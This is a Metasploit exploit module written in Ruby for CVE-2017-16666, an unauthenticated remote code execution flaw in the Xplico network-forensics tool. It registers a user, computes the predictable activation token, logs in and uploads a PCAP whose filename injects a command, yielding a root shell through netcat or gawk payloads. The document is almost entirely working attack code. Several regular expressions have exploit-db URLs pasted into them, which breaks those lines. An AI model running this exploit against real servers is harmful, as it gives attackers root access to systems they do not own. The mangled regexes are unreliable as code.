class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Xplico Remote Code Execution',
'Description'=> %q{
This module exploits command injection vulnerability. Unauthenticated users can register a new account and then execute a terminal
command under the context of the root user.
The specific flaw exists within the Xplico, which listens on TCP port 9876 by default. The goal of Xplico is extract from an internet
traffic capture the applications data contained. There is a hidden end-point at inside of the Xplico that allow anyone to create
a new user. Once the user created through /users/register endpoint, it must be activated via activation e-mail. After the registration Xplico try
to send e-mail that contains activation code. Unfortunetly, this e-mail probably not gonna reach to the given e-mail address on most of installation.
But it's possible to calculate exactly same token value because of insecure cryptographic random string generator function usage.
One of the feature of Xplico is related to the parsing PCAP files. Once PCAP file uploaded, Xplico execute an operating system command in order to calculate checksum
of the file. Name of the for this operation is direclty taken from user input and then used at inside of the command without proper input validation.
},
'License' => MSF_LICENSE,
'Author'=>
[
'Mehmet Ince <mehmet@mehmetince.net>'# author & msf module
],
'References'=>
[
['CVE', '2017-16666'],
['URL', 'https://pentest.blog/advisory-xplico-unauthenticated-remote-code-execution-cve-2017-16666/'],
['URL', 'https://www.xplico.org/archives/1538']
],
'Privileged'=> true,
'Platform'=> ['unix'],
'Arch'=> ARCH_CMD,
'DefaultOptions'=>
{
'RPORT' => 9876
},
'Payload' =>
{
'Space' => 252,
'DisableNops' => true,
'BadChars' => "\x2f\x22",
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat gawk', # other cmd payloads can't fit within 252 space due to badchars.
},
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate'=> 'Oct 29 2017',
'DefaultTarget' => 0
))
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
)
if res && res.code == 302
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Unknown
end
end
def initiate_session
print_status('Initiating new session on server side')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
)
if res && res.code == 200
res.get_cookies
else
nil
end
end
def register_user(username, password)
print_status('Registering a new user')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
'cookie' => @cookie
)
if res && res.code == 200
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
end
if csrf_token.nil? || fields.nil?
fail_with(Failure::Unknown, 'Unable to extact hidden fields from registration form.')
end
email = ''
email << rand_text_alpha_lower(rand(10)+4)
email << '@'
email << rand_text_alpha_lower(rand(10)+4)
email << '.'
email << rand_text_alpha_lower(rand(1)+2)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'register'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[_Token][key]' => csrf_token,
'data[User][email]' => email,
'data[User][username]' => username,
'data[User][password]' => password,
'data[_Token][fields]' => fields,
'data[_Token][unlocked]' => '',
}
)
if res && res.code == 302
print_good('New user successfully registered')
print_status("Username: #{username}")
print_status("Password: #{password}")
else
fail_with(Failure::Unknown, 'Could not register new user')
end
print_status('Calculating em_key code of the user')
unixtime = Time.parse(res.headers['Date']).to_i
password_md5 = Rex::Text.md5(password)
em_key = Rex::Text.md5(
"#{email}#{password_md5}#{unixtime}"
)
print_status("Activating user with em_key = #{em_key}")
res = send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'registerConfirm', em_key),
'cookie' => @cookie
)
if res && res.code == 200 && res.body.include?('Registration Completed.')
print_good('User successfully activated')
else
fail_with(Failure::Unknown, 'Could not activated our user. Target may not be vulnerable.')
end
end
def login(username, password)
print_status('Authenticating with our activated new user')
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'cookie' => @cookie
)
if res && res.code == 200
csrf_token = res.get_hidden_inputs.first['data[_Token][key]'] || nil
fields = res.get_hidden_inputs.first['data[_Token][fields]'] || nil
end
if csrf_token.nil? || fields.nil?
fail_with(Failure::Unknown, 'Unable to extact hidden fields from login form.')
end
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'users', 'login'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[_Token][key]' => csrf_token,
'data[User][username]' => username,
'data[User][password]' => password,
'data[_Token][fields]' => fields,
'data[_Token][unlocked]' => '',
}
)
if res && res.body.include?('<a href="https://www.exploit-db.com/pols">Cases</a>')
print_good('Successfully authenticated')
else
fail_with(Failure::Unknown, 'Unable to login.')
end
end
def create_new_case
print_status('Creating new case')
pol_name = rand_text_alpha_lower(rand(4)+8)
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pols', 'add'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[Capture][Type]' => 0,
'data[Pol][name]' => pol_name,
'data[Pol][external_ref]' => '',
}
)
if res && res.body.include?('The Case has been created')
res.body.scan(/<a href="https://www.exploit-db.com/exploits/43430/\/pols\/view\/([0-9]+)">/).flatten[0]
else
nil
end
end
def create_new_sol(pol_id)
print_status('Creating new xplico session for pcap')
sol_name = rand_text_alpha_lower(rand(4)+8)
send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pols', 'view', pol_id),
'cookie' => @cookie,
)
res = send_request_cgi!(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'sols', 'add'),
'cookie' => @cookie,
'vars_post' => {
'_method' => 'POST',
'data[Sol][name]' => sol_name,
}
)
if res && res.body.include?('The Session has been created')
res.body.scan(/<a href="https://www.exploit-db.com/exploits/43430/\/sols\/view\/([0-9]+)">/).flatten[0]
else
nil
end
end
def upload_pcap(sol_id)
print_status('Uploading malformed PCAP file')
send_request_cgi!(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
'cookie' => @cookie,
)
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2017-16666', 'dump.pcap')
fd = ::File.open( path, 'rb')
pcap = fd.read(fd.stat.size)
fd.close
data = Rex::MIME::Message.new
data.add_part('POST', nil, nil, 'form-data; name="_method"')
data.add_part(pcap, 'application/octet-stream', nil, "form-data; name=\"data[Sols][File]\"; filename=\"``\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'sols', 'pcap'),
'cookie' => @cookie,
'ctype'=> "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
)
if res && res.code == 302
print_good('PCAP successfully uploaded. Pcap parser is going to start on server side.')
end
is_job_done = nil
counter = 0
until session_created? || !is_job_done.nil? || counter == 5
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'sols', 'view', sol_id),
'cookie' => @cookie,
)
if res && res.body.include?('File uploaded, wait start decoding...')
print_status('Parsing has started. Wait for parser to get the job done...')
end
if res && res.body.include?('DECODING')
print_good('We are at PCAP decoding phase. Little bit more patience...')
end
if res && res.body.include?('DECODING COMPLETED')
print_warning('PCAP parsing process has finished. Haven\'t you got your shell ?')
is_job_done = 1
next
end
sleep(1)
counter += 1
end
end
def exploit
if check == Exploit::CheckCode::Safe
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable")
end
# We need to access cookie from everywhere. Thus making it global variable.
@cookie = initiate_session
if @cookie.nil?
fail_with(Failure::Unknown, 'Unable to initiate new sessionid on server.')
end
# We only need to access username and password for login func. Let's leave them as a local variables.
password = rand_text_alpha(32)
username = rand_text_alpha_lower(rand(8)+8)
register_user(username, password)
login(username, password)
pol_id = create_new_case
if pol_id.nil?
fail_with(Failure::Unknown, 'Unable to create New Case.')
end
print_good("New Case successfully creted. Our pol_id = #{pol_id}")
sol_id = create_new_sol(pol_id)
if sol_id.nil?
fail_with(Failure::Unknown, 'Unable to create New Sol.')
end
print_good("New Sols successfully creted. Our sol_id = #{sol_id}")
upload_pcap(sol_id)
end
end